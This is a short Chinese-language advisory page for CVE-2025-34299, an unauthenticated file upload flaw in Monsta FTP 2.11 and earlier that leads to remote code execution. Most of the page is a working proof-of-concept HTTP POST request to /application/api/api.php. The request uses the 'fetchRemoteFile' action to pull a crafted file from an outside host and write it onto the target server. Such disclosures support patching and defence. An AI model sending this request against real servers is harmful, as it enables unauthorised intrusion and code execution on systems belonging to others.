Monsta FTP /application/api/api.php 文件上传漏洞（CVE-2025-34299）

2026-01-30 Monsta FTP PoC Public

Description

Monsta FTP 2.11 及之前版本中存在未授权任意文件上传漏洞。由于应用在从远程 (S)FTP 服务器获取文件时未对文件来源和内容进行有效校验，攻击者可通过控制恶意 (S)FTP 服务器上传特制文件至目标系统，从而在服务器上写入任意文件并触发远程代码执行。

PoC

POST /application/api/api.php HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
Content-Length: 288
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36 skyeye-scanner
Cookie: JSESSIONID=1596D16691A3C7B7587E2064A18BC201; ASP.NET_SessionId=phs2t2yisvhzjfbfiqkaprxp; show_vpn=0
Accept-Encoding: gzip

request={"connectionType":"sftp","configuration":{"host":"127.0.0.1","remoteUsername":"zero","initialDirectory":"/tmp/","authenticationModeName":"Password","password":"123456","port":22},"actionName":"fetchRemoteFile","context":{"source":"http://10.237.25.127:12345/i/14e3f9/0g3g/lnha/"}}

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#Monsta FTP /application/api/api.php File Upload Vulnerability (CVE-2025-34299)

References

Related Vulnerabilities